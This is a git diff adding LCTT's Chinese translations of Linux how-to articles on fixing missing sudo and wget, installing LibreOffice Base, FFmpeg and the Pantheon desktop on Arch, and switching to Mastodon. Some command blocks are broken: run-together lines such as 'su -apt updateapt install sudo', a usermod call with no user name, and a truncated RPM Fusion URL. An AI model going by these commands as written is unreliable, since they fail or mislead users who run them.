+校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/8/math-python-raspberry-pi +[2]: https://codewith.mu/ +[3]: https://opensource.com/article/20/6/open-source-alternatives-vs-code +[4]: https://github.com/VSCodium/vscodium/releases +[5]: https://flathub.org/apps/details/com.vscodium.codium +[6]: https://opensource.com/sites/default/files/2022-10/codium-extension-python.webp +[7]: https://open-vsx.org/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/17/100909py38rj0tqxlyrq0t.jpg \ No newline at end of file diff --git a/published/202211/20221110.0 ⭐️ How to Fix sudo Command Not Found Error.md b/published/202211/20221110.0 ⭐️ How to Fix sudo Command Not Found Error.md new file mode 100644 index 0000000000..2e557e41c5 --- /dev/null +++ b/published/202211/20221110.0 ⭐️ How to Fix sudo Command Not Found Error.md @@ -0,0 +1,107 @@ +[#]: subject: "How to Fix: sudo Command Not Found Error" +[#]: via: "https://www.debugpoint.com/sudo-command-not-found/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15280-1.html" + +如何修复:“sudo Command Not Found” 错误 +====== + +![][0] + +> 以下是你如何在 Debian、Ubuntu 和其他发行版中修复 “sudo command not found” 错误的方法。 + +有时,当你第一次设置或安装 [Linux 发行版][1] 时,你在用 `sudo` 尝试一些命令时,会出现 “sudo command not found” 的错误。 + +`sudo` 命令是 “superuser do” 的缩写,它是一个允许用户以管理员权限执行命令的程序。`sudo` 命令帮助你像管理员用户一样运行程序/命令。 + +此外,用 `sudo` 运行命令的用户必须是 `sudo` 组的一部分。 + +你看到这个错误的主要原因是该软件包本身没有安装。然而,大多数现代 Linux 发行版都默认提供了这个功能,但有些则没有。 + +下面是解决这个问题需要遵循的步骤。 + +#### 故障排除 #1 + +首先,安装 `sudo` 包来解决这个问题。打开一个终端,刷新你的系统,并运行以下命令来安装 `sudo`。 + +对于 Ubuntu、Debian 和相关发行版: + +``` +su -apt updateapt install sudo +``` + +对于 Arch Linux: + +``` +pacman -S sudo +``` + +对于 Fedora、RHEL 等: + +``` +su -dnf updatednf install sudo +``` + +上述安装完成后,你必须使用以下命令将用户添加到 `sudo` 组中。 + +``` +usermod -aG sudo +``` + +然后从终端运行 `visudo`,并运行以下行。按 `CTRL+O` 和 `CTRL+X` 来保存和退出。 + +![使用 visudo 更新 sudoers 文件][2] + +退出并再次登录使变化生效。 + +#### 故障排除 #2 + +在做了上述改变之后,如果你仍然收到错误信息,那么请按照以下步骤操作。 + +确保你的 `$PATH` 变量包含 `sudo` 可执行文件的正确路径。如果 `sudo` 已经安装,但 `$PATH` 不正确,你也会得到这个错误。理想情况下,你的路径应该包含以下所有的路径。 + +``` +echo $PATH +``` + +``` +/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin +``` + +要改变路径变量,使用以下命令。例如,如果 `/usr/bin` 不存在,那么你可以通过以下方式添加它。 + +``` +export PATH=$PATH:/usr/bin +``` + +然后注销并登录查看效果。 + +### 总结 + +我希望这个指南能帮助你解决 Linux 发行版中的 sudo 错误。表面上的解决方案很简单,真的。 + +如果有帮助,或者如果你有任何问题,请在下面留言。 + +> **[参考][3]** + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/sudo-command-not-found/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/category/distributions +[2]: https://www.debugpoint.com/wp-content/uploads/2022/09/Updating-the-sudoers-file-using-visudo.jpg +[3]: https://linux.die.net/man/8/sudo +[0]: https://img.linux.net.cn/data/attachment/album/202211/23/095652r00yigyouzgo838c.jpg \ No newline at end of file diff --git a/published/202211/20221110.1 ⭐️ How to Fix bash wget Command Not Found Error.md b/published/202211/20221110.1 ⭐️ How to Fix bash wget Command Not Found Error.md new file mode 100644 index 0000000000..a5e7f9cc32 --- /dev/null +++ b/published/202211/20221110.1 ⭐️ How to Fix bash wget Command Not Found Error.md @@ -0,0 +1,120 @@ +[#]: subject: "How to Fix: bash wget Command Not Found Error" +[#]: via: "https://www.debugpoint.com/wget-not-found-error/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15274-1.html" + +如何修复:“bash wget Command Not Found” 错误 +====== + +![][0] + +> 以下是你如何在 Debian、Ubuntu 和其他发行版中修复 “bash: wget command not found” 的错误。 + +著名的 `wget` 工具被用来通过终端从 URL 下载任何文件。它是 Linux 终端中最流行和最快速的工具之一。 + +作为一个 GNU 工具,`wget` 带来了一些奇妙的功能。你可以实现各种目的,如从网上提取信息、下载文件、暂停/恢复等。 + +然而,许多 [Linux 发行版][1] 在默认安装时并没有附带这个工具。因此,当你想用 `wget` 下载一些文件时,你会得到 wget 命令未找到的错误。 + +修复它其实很容易。 + +### 修复 wget 命令未找到 + +你所需要做的就是打开终端,运行以下命令来安装 `wget`。 + +对于 Ubuntu、Linux Mint、elementaryOS、Debian 和相关发行版: + +``` +sudo apt install wget +``` + +Arch Linux: + +``` +pacman -S wget +``` + +对于 Fedora(虽然它默认包括): + +``` +sudo dnf install wget +``` + +安装后,你就可以使用 `wget` 程序了。你也可以通过检查其版本来验证它是否正确安装。 + +``` +wget --version +``` + +### 如何使用 wget + +下面是一些关于如何使用 `wget` 的例子。 + +命令的语法如下: + +``` +wget [选项]… [URL]… +``` + +例如,如果我想下载 Ubuntu 的 ISO 文件,那么我可以运行下面的命令,用 URL 直接下载。 + +``` +wget https://releases.ubuntu.com/22.04.1/ubuntu-22.04.1-desktop-amd64.iso +``` + +![如何使用 wget 的例子][2] + +同样,你也可以使用上述命令下载,或者,通过下面描述的几个开关组合。你也可以通过 `wget --help` 命令得到这个: + +- `-t, --tries=NUMBER` 设置重试次数为 `NUMBER`(0 为不限) +- `--retry-connrefused` 即使连接被拒绝,也要重试 +- `--retry-on-http-error=ERRORS` 逗号分隔的 HTTP 错误列表,以便重试 +- `-O, --output-document=FILE` 将文件写入 `FILE` 中 +- `--nc, --no-clobber` 跳过那些会下载到现有文件的下载(即覆盖它们) +- `--no-netrc` 不要试图从 `.netrc` 中获取证书 +- `-c, --continue` 继续已部分下载的文件 +- `--start-pos=OFFSET` 从 `OFFSET` 位置开始下载 +- `--progress=TYPE` 选择进度条类型 +- `--show-progress` 在详细模式下显示进度条 +- `--N, --timestamping` 不重新获取文件,除非比本地文件新 +- `--no-if-modified-since` 在时间戳模式下不使用条件性的 `if-modified-since` 获取请求的资源 +- `--no-use-server-timestamps` 不以服务器上的时间戳来设置本地文件的时间戳 +- `--S, --server-response` 打印服务器响应 +- `--spider` 不下载任何东西 +- `-T, --timeout=SECONDS` 设置所有的超时值为 `SECONDS` 秒 +- `--dns-timeout=SECS` 将 DNS 查询超时设置为 `SECS` +- `--connect-timeout=SECS` 将连接超时设置为 `SECS` +- `--read-timeout=SECS` 设置读取超时为 `SECS` +- `--w, --wait=SECONDS` 在两次检索之间等待 `SECONDS` 秒(适用于检索的 URL 超过 1个) +- `--waitretry=SECONDS` 在检索的重试之间等待 1 到 `SECONDS` 秒(适用于检索的 URL 超过 1 个) +- `--random-wait` 在两次检索之间等待 `0.5WAIT` 到 `1.5WAIT` 秒(适用于检索的 URL 超过 1 个) + +### 总结 + +我希望这个指南能帮助你解决 Linux 发行版中的 `wget` 错误。显然方案是非常简单的。 + +如果有帮助或者你有任何问题,请在下面留言。 + +> **[参考][3]** + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/wget-not-found-error/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/category/distributions +[2]: https://www.debugpoint.com/wp-content/uploads/2022/09/Sample-example-of-how-to-use-wget.jpg +[3]: https://www.gnu.org/software/wget/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/21/095343hnxjfinvbpzf2x5f.jpg \ No newline at end of file diff --git a/published/202211/20221111.0 ⭐️ How to Install LibreOffice Base Database in Ubuntu and Other Linux.md b/published/202211/20221111.0 ⭐️ How to Install LibreOffice Base Database in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..c30fbaca71 --- /dev/null +++ b/published/202211/20221111.0 ⭐️ How to Install LibreOffice Base Database in Ubuntu and Other Linux.md @@ -0,0 +1,68 @@ +[#]: subject: "How to Install LibreOffice Base Database in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/install-libreoffice-base-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15283-1.html" + +如何在 Ubuntu 和其他 Linux 下安装 LibreOffice Base 数据库 +====== + +![][0] + +> 以下是如何在 Ubuntu 和其他 Linux 发行版中安装 LibreOffice Base 数据库模块。 + +流行的自由开源的办公套件 LibreOffice 由六个独立的组件组成。然而,Ubuntu 和相关发行版中默认安装的 LibreOffice 只包括其中的五个: + +- Calc +- Writer +- Impress +- Draw +- Math + +由于某些原因,数据库模块 LibreOffice Base 没有被包括在内。所以,这里告诉你如何在 Ubuntu 和其他发行版中单独安装它。 + +### 在 Ubuntu 和其他 Linux 中安装 LibreOffice Base + +你可以使用 “软件Software” 应用或终端来安装 `libreoffic-base` 包。我建议使用终端来安装它。打开一个终端窗口,运行以下命令来安装它。 + +``` +sudo apt install libreoffice-base +``` + +如果你喜欢 “软件Software” 应用 或其他基于 GUI 的安装程序,搜索 “libreoffic-base” 并点击安装。 + +对于 Fedora 和基于 RPM 的发行版,使用以下命令: + +``` +sudo dnf install libreoffice-base +``` + +如果你在 Arch Linux 中安装了 LibreOffice,无论是 [libreoffic-fresh][1] 还是 [libreoffic-still][2],那么就不需要任何操作了。LibreOffice Base 已经包含在这两个软件包中了。你可以开始使用了。 + +在另一个方面,如果你想看看如何安装最新的 LibreOffice,请查看 [这个指南][3]。 + +![在 Ubuntu 中安装 Libreoffice Base][4] + +最后,安装完毕后,你可以在应用菜单中找出 LibreOffice Base。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-libreoffice-base-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://archlinux.org/packages/extra/x86_64/libreoffice-fresh/ +[2]: https://archlinux.org/packages/extra/x86_64/libreoffice-still/ +[3]: https://www.debugpoint.com/install-latest-libreoffice-ubuntu-linux/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/11/Install-Libreoffice-Base-in-Ubuntu.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202211/24/111503yhkq3mihfxkxsh1v.jpg \ No newline at end of file diff --git a/published/202211/20221111.1 ⭐️ How to Install FFmpeg in Ubuntu and Other Linux.md b/published/202211/20221111.1 ⭐️ How to Install FFmpeg in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..8b4e3da3ed --- /dev/null +++ b/published/202211/20221111.1 ⭐️ How to Install FFmpeg in Ubuntu and Other Linux.md @@ -0,0 +1,174 @@ +[#]: subject: "How to Install FFmpeg in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/install-ffmpeg-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15269-1.html" + +如何在 Ubuntu 和其他 Linux 发行版中安装 FFmpeg +====== + +![][0] + +> 本教程讲述了在 Ubuntu 和其他 Linux 系统中安装 FFmpeg 所需的步骤。 + +FFmpeg 是一系列用于操作多媒体文件的库和软件程序。整个 FFmpeg 是一组强大的库,允许你转换、推流和操作音频和视频文件。许多前端 Linux 应用程序将其用作后端并依赖它。例如,屏幕录制应用程序可能需要 FFmpeg 将录制的流转换为 Gif 图像。 + +主流的应用程序和服务,如 VLC 媒体播放器、YouTube、Blender、Kodi、Shotcut 和 Handbrake 等,都使用 FFmpeg。 + +> 趣事:NASA 2020 年发射的毅力号火星探测器使用 FFmpeg 完成和处理图像和视频,然后将其发送回地球! + +### 关于 FFmpeg 包 + +[FFmped][1] 是一个强大的命令行工具。它支持 Linux、Windows 和 macOS,并支持多种架构。它是用 C 和汇编编写的,提供了强大的性能和跨平台实用性。 + +#### 核心 + +FFmpeg 的核心是命令行实用程序。它们可以在命令行上使用,也可以从任何编程语言中调用。例如,你可以从 Shell 程序、Python 脚本等程序中使用它们。 + +- `ffmpeg`:用于转换音频和视频流,包括来自 TV 卡等实时流的源 +- `ffplay`:此软件包中捆绑的媒体播放器,用于播放媒体 +- `ffprobe`:命令行工具,用于显示媒体信息 - 可以以 txt、csv、xml、json 格式输出 + +### FFmpeg 安装 + +在 Ubuntu 和其他 Linux 发行版中安装 FFmpeg 很容易。打开终端并运行以下命令以安装。 + +#### Ubuntu 以及相似的发行版 + +``` +sudo apt install ffmpeg +``` + +#### Fedora + +对于 Fedora Linux,你需要添加 [RPM Fusion repo][2]。Fedora 官方仓库没有 FFmpeg 包。 + +``` +sudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm +``` + +``` +sudo dnf install https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree- +``` + +``` +sudo dnf install ffmpeg +``` + +#### Arch Linux + +``` +pacman -S ffmpeg +``` + +在安装完成后,你可以使用以下命令验证安装。 + +``` +ffmpeg --version +``` + +![Ubuntu Linux 中安装的 FFmpeg][3] + +### 示例:ffmpeg 的基础用法 + +首先,让我给你一个简单的例子。考虑以下示例。它只是将 mp4 文件转换为 mkv 文件。 + +1、转换一个基本的视频文件 + +``` +ffmpeg -i big_buck_bunny.mp4 big_buck_bunny.mkv +``` + +当然,这是最简单的方法,但它不完整,因为它没有转换所需的视频文件的比特率、分辨率和其他属性。 + +2、转换一个音频文件 + +其次,你可以使用类似的命令转换音频文件。 + +``` +ffmpeg -i sunny_day.ogg sunny_day.mp3 +``` + +3、使用音频和视频编解码器转换 + +最后,以下示例可以使用指定的编解码器转换视频文件。参数 `-c` 带有的 `a` 或 `v` 分别定义音频和视频。下面的命令使用 `libvpx` 视频和 `libvorbis` 音频编解码器进行转换。 + +``` +ffmpeg -i big_buck_bunny.mp4 -c:v libvpx -c:a libvorbis big_buck_bunny.webm +``` + +### 如何找出系统中可用的编解码器,编码器和解码器? + +#### 列出所有编解码器 + +要列出所有可用的编解码器,请运行以下命令: + +``` +ffmpeg -codecs +``` + +该命令列出了所有可用的编解码器及其功能,是否支持解码或编码等。此外,它们根据下表的位置进行标识。 + +``` +D..... = Decoding supported +.E.... = Encoding supported +..V... = Video codec +..A... = Audio codec +..S... = Subtitle codec +...I.. = Intra frame-only codec +....L. = Lossy compression +.....S = Lossless compression +``` + +![FFmpeg 编解码器列表][4] + +#### 列出所有编码器 + +通过以下命令列出所有编码器: + +``` +ffmpeg -encoders +``` + +#### 列出所有解码器 + +同样的,你可以通过以下命令获取解码器列表: + +``` +ffmpeg -decoders +``` + +#### 详细信息 + +你还可以使用参数 `-h` 获取编码器或解码器的更多详细信息。 + +``` +ffmpeg -h decoder=mp3 +``` + +### 总结 + +我希望你学会了 FFmpeg 和它的命令的基础知识。你可以通过 [官方文档][5] 了解更多有关该程序的信息。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-ffmpeg-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://ffmpeg.org/ +[2]: https://www.debugpoint.com/2020/07/enable-rpm-fusion-fedora-rhel-centos/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/06/FFmpeg-installed-in-Ubuntu-Linux.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/06/FFmpeg-Codec-list.jpg +[5]: https://ffmpeg.org/documentation.html +[0]: https://img.linux.net.cn/data/attachment/album/202211/19/162251wxt2kaajvvayar8c.jpg \ No newline at end of file diff --git a/published/202211/20221111.2 ⭐️⭐️ How to Install Elementary OS’s Pantheon Desktop in Arch Linux.md b/published/202211/20221111.2 ⭐️⭐️ How to Install Elementary OS’s Pantheon Desktop in Arch Linux.md new file mode 100644 index 0000000000..809730e839 --- /dev/null +++ b/published/202211/20221111.2 ⭐️⭐️ How to Install Elementary OS’s Pantheon Desktop in Arch Linux.md @@ -0,0 +1,181 @@ +[#]: subject: "How to Install Elementary OS’s Pantheon Desktop in Arch Linux" +[#]: via: "https://www.debugpoint.com/pantheon-arch-linux-install/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15293-1.html" + +如何在 Arch Linux 中安装 elementary OS 的 Pantheon 桌面 +====== + +![][0] + +> Pantheon 是 elementary OS 的默认桌面环境。本快速指南解释了在 Arch Linux 中安装 Pantheon 桌面环境的步骤。 + +Pantheon 是 elementary OS 使用的一个漂亮的桌面环境。它基于 GTK3(GTK4 移植正在进行中)和 Vala,是一个漂亮而干净的桌面,为你提供了一个精致的 Linux 桌面体验。 + +该桌面主要由 elementary OS 使用。elementary OS 提供了 Pantheon 桌面的修改版,它是基于 GNOME 的。 + +elementary OS 基于 Ubuntu LTS 版本。因此,在基于 Ubuntu 的发行版中安装 Pantheon 桌面是超级容易的。这意味着如果你想在不安装 elementary OS 的情况下体验 Pantheon,在 Ubuntu 中这只需要一两个命令就可以安装。 + +在 Fedora 中,你也可以使用组包进行安装。然而,一个以 Fedora 为基础,名为 [Ultramarine Linux][1] 的发行版默认提供了它。 + +但是,在 Arch Linux 中安装 Pantheon 需要一些工作。它不是用简单的 `pacman` 命令就能直接完成的,而且不能开箱即用。需要一些配置,这可能会破坏你的系统。 + +这里我给你提供了在 Arch Linux 中安装 Pantheon 桌面的指南和步骤。 + +**警告:** 第一次可能不顺利,所以我建议你在物理系统上安装前先在虚拟机上进行。因为在 Arch 中安装 Pantheon 并不像在 Arch Linux 中安装 GNOME、Xfce 和 KDE Plasma 桌面那样流畅。它还需要一些额外的手动配置。 + +下面是在 Arch Linux 中安装 Pantheon 桌面的步骤。 + +### 在 Arch Linux 中安装 Pantheon 桌面 + +#### 第 1 步:安装基础系统 + +确保你按照 [本指南的自动 archinstall 脚本][2] 安装了 Arch Linux 基础系统。如果你已经在完成了 Arch 安装,你可以跳过这一步,按照下一步进行。 + +#### 第 2 步:更新你的系统 + +在你的 Arch 中打开一个终端。并通过运行以下命令确保系统是最新的: + +``` +pacman -Syu +``` + +#### 第 3 步:安装 yay AUR 助手 + +Pantheon 所需的许多包在 Arch 官方仓库中不可用。它们存在于 Arch 用户仓库(AUR)中。因此你需要安装 `yay` 以获得额外的软件包。按照 [本指南安装 yay AUR 助手][3]。 + +#### 第 4 步:在 Arch Linux 中安装 Pantheon 桌面 + +使用以下命令安装以下软件包。这些是 Arch 官方仓库中可用的必需软件包,包括所有必要的组件、wingpanel、图标和壁纸。 + +- [pantheon][4] +- lightdm-pantheon-greeter +- sound-theme-elementary +- switchboard +- lightdm-gtk-greeter +- elementary-icon-theme +- elementary-wallpapers +- pantheon-applications-menu +- wingpanel-indicator-session +- wingpanel-indicator-datetime + +``` +pacman -S --needed pantheon lightdm-pantheon-greeter sound-theme-elementary switchboard lightdm-gtk-greeter elementary-icon-theme elementary-wallpapers pantheon-applications-menu wingpanel-indicator-session wingpanel-indicator-datetime inter-font firefox +``` + +从 Arch 用户仓库安装以下包。这些是 Arch 官方仓库中不可用的一些附加包。这些可能需要一些时间来安装。 + +- pantheon-session-git +- gnome-settings-daemon-elementary +- pantheon-default-settings +- switchboard-plug-pantheon-tweaks-git +- urutau-icons-git +- pantheon-dock-git + +``` +yay -S pantheon-session-git pantheon-default-settings switchboard-plug-pantheon-tweaks-git urutau-icons-git pantheon-dock-git +``` + +下一步是安装显示服务器和管理器。使用 `lightdm` 作为 Arch 中 Pantheon 的显示管理器。我尝试将其他显示管理器与 Pantheon 一起使用,但结果并不理想。 + +``` +pacman -S --needed xorg lightdm +``` + +#### 第 5 步:配置 + +默认欢迎程序需要一些修改。运行以下命令以检查可用会话。 + +``` +ls -1 /usr/share/xgreeters +``` + +![greeters 列表][5] + +打开 lightdm 配置文件并将 `greeter-session` 更改为 `io.elementary.greeter`。 + +``` +sudo nano /etc/lightdm/lightdm.conf +``` + +``` +greeter-session=io.elementary.greeter +``` + +保存并关闭文件(`CTRL+O`、`回车` 和 `CTRL+X`)。 + +![lightdm 配置][6] + +在 systemd 中启用显示管理器和网络管理器。 + +``` +systemctl enable lightdmsystemctl enable NetworkManager +``` + +重启系统。 + +``` +systemctl reboot +``` + +如果一切顺利,你应该会看到以下登录屏幕(我知道,它看起来一点也不酷)。从顶部下拉菜单更改会话并使用用户名和密码登录。 + +![Pantheon 在 Arch 中的登录页面][7] + +#### 第 6 步:安装后配置 + +当我第一次登录到我的测试系统时,很多东西都不起作用。以下是列表及其可能的解决方案。 + +a、**壁纸**:壁纸模块似乎根本不起作用。因此,默认情况下没有壁纸。甚至“更改壁纸”选项也没有打开。如果遇到这种情况,请安装 `dconf` 编辑器并通过以下步骤更改壁纸。 + +``` +pacman -S --needed dconf-editor +``` + +接着从菜单启动 dconf 编辑器。进入 `org > gnome > desktop > background > picture-uri`。关闭默认值并添加自定义值 `file:////usr/share/backgrounds/Ashim DSilva.jpg`。你也可以使用任何其他图像。保存并关闭。 + +![使用 dconf-editor 更改背景属性][8] + +b、**图标**:通过 “设置Settings > 优化Tweaks” 更改图标。然后将图标和光标更改为 `urutau-icons`。 + +在完成所有配置和安装之后,你应该已经在 Arch Linux 中设置了 Pantheon 桌面。这是我的测试机的截图。 + +![Arch Linux 中的 Pantheon 桌面][9] + +### 结束语 + +我希望本指南能帮助你最终在 Arch Linux 中安装 Pantheon 桌面。我花了几天时间才终于能够将各个部分组合在一起并使它们发挥作用。 + +尽管一些小功能仍然无法使用,但有一个可用的 Pantheon 桌面。 + +唯一让我惊喜的是 Pantheon 在 Arch 中的表现。在我的同一台测试机上,elementary OS 安装不是那么快。但 Pantheon 基础版在 Arch 中的速度比原始 elementary OS 快。如果你喜欢 Pantheon,可以试试。 + +如果你遇到任何错误,请使用下面的评论栏告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/pantheon-arch-linux-install/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[ ](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/ultramarine-linux-36/ +[2]: https://www.debugpoint.com/archinstall-guide/ +[3]: https://www.debugpoint.com/install-yay-arch/ +[4]: https://wiki.archlinux.org/index.php/Pantheon +[5]: https://www.debugpoint.com/wp-content/uploads/2021/02/greeters-list.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/02/lightdm-conf.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2021/02/Login-screen-Pantheon-in-Arch.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/02/Change-background-property-using-dconf-editor.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2021/02/Pantheon-Desktop-in-Arch-Linux-1.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202211/27/104052h7iwfcw4larkio1i.jpg \ No newline at end of file diff --git a/published/202211/20221111.5 ⭐️⭐️ How to switch from Twitter to Mastodon.md b/published/202211/20221111.5 ⭐️⭐️ How to switch from Twitter to Mastodon.md new file mode 100644 index 0000000000..b38a52944f --- /dev/null +++ b/published/202211/20221111.5 ⭐️⭐️ How to switch from Twitter to Mastodon.md @@ -0,0 +1,118 @@ +[#]: subject: "How to switch from Twitter to Mastodon" +[#]: via: "https://opensource.com/article/22/11/switch-twitter-mastodon" +[#]: author: "Jessica Cherry https://opensource.com/users/cherrybomb" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: " " +[#]: url: " " + +如何从 Twitter 切换到 Mastodon +====== + +> Mastodon 是一个开源的微博社区。 + +像许多人一样,我发现社交媒体有些令人兴奋,而且……有点过分。有时,你会陷入到算法、跟踪数据和针对你的广告中。你对想要查看的内容缺乏管理控制,尤其是在我们许多人习惯的旧平台上。像往常一样,你必须寻求开源来解决问题。而这正是开源微博社区 [Mastodon][1] 所做的。 + +使用 Mastodon 社交,你不仅是在使用开源软件,而且一切都是去中心化的,这意味着你可以部分地根据你想要使用的实例来选择你想要查看的内容。 Mastodon 使用不同的实例,每个实例都有自己的行为准则、隐私选项和审核政策。这意味着当你加入一个实例时,你不太可能看到你不感兴趣的内容,而更有可能看到来自与你有共同兴趣的人的消息。 + +但是,你也可以与其他实例进行交互。所有 Mastodon 实例都能在用户称之为 “联邦宇宙fediverse” 的地方 “联合”。 + +### 什么是联邦宇宙? + +“联邦宇宙fediverse” 是联合(互连)服务器的集合。这个词来自 “联邦federated” 和 “宇宙universe” 的组合。你可以将其用于各种网络发布,从社交网络到网站再到文件托管。虽然每个实例都是独立托管的,但它们可以相互通信。 + +### 那么我该如何注册 Mastodon? + +首先,前往 [Mastodon.social][2] 进行注册。 + +在屏幕的右侧,有 “登录Sign in” 和 “创建帐户Create account” 按钮。 + +![Sign-in or Create Account interface][3] + +但是,因为任何人都可以运行 Mastodon 服务器,所以有很多实例,并且一些服务器已经成为社区的所在地,这些社区的兴趣可能与你的兴趣一致。正如我所说的,无论如何你都可以访问整个联邦宇宙,但如果能在一个人们已经“说你的语言”的服务器上开始,那就更好了(也可以是字面意思,因为你可以添加一个过滤器以查找使用你的母语的服务器)。 + +要查找服务器,请单击 “查找另一台服务器Find another server”按钮。 + +![Signing up interface][4] + +当你单击该按钮时,你将进入 [加入 Mastodon 页面][5],其中有一个列出可用服务器的按钮。 + +![Getting started interface][6] + +向下滚动时,你可以在左侧选择一个主题,以帮助你找到希望托管的位置。 + +![Topic list][7] + +我的主题都是关于开源的,所以让我们看看我们在技术主题中有什么。 + +![Technology topics][8] + +如你所见,有一个包含许多等候名单的大型索引。在这种情况下,Opensource.com 的一位作者 Don Watkins 似乎选择了一个适合他自己和我们天才小组的实例。因此,我将跳过并告诉你我要去哪里:有一个名为 [Fosstodon][9] 的自由开源软件服务器,我选择在那里注册,这样我就可以自由分享我的文章。 + +以下是登录步骤。 + +首先,输入你的信息: + +![Steps for signing in][10] + +接下来,你会收到有关确认电子邮件的消息: + +![Confirmation message][11] + +当你收到邮件时,点击 “验证Verify” 按钮,系统会提示你确认你的登录信息。 + +该服务器确实有申请加入的过程。这个过程不仅是出于安全原因,也是为了隐私。获得批准后,你就会收到这封很棒的电子邮件! + +![Welcome message][12] + +我保留了其他社交媒体场所的地址,因此很容易从一个地方来回移动到另一个地方,并通过复制和 API 调用交叉发布。 + +### 完全控制 + +现在我有了一个新的个人资料页,我可以更改我收到的电子邮件的偏好,从而更好地控制我看到的内容。这是让我对媒体接收有更多控制权的好方法,非常感谢。单击 “偏好Preferences” 后,Mastodon 会为我提供炫酷的外观、语言信息和许多其他选项。 + +![Appearance settings][13] + +接下来,我可以点击 “通知Notifications” 并限制我看到的内容和收到通知的内容,这样我就可以选择更少的噪音。 + +![Notifications settings][14] + +在没有算法干预的情况下完全控制我的媒体非常棒。你还可以为个人资料上的内容设置特色主题标签,以关注长期项目或让人们通过关注这些主题标签找到你。你还可以选择过滤器、关注者等等。 + +### 总结 + +这种开源社交媒体是找到你的人群并与兴趣广泛的人进行广泛互动的好方法。控制媒体摄入量对于你生活中的某种平衡非常有用,你可以查看 [贡献者规则][15] 选择加入贡献。 + +除了控制你自己的社交媒体体验外,你还可以获得适用于所有设备的手机应用,包括适用于 iPhone 的 Toot 和适用于 Android 的 Tusky。 + +总而言之:我认为我们都应该做好新的开源社交媒体世界的准备。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/switch-twitter-mastodon + +作者:[Jessica Cherry][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/cherrybomb +[b]: https://github.com/lkxed 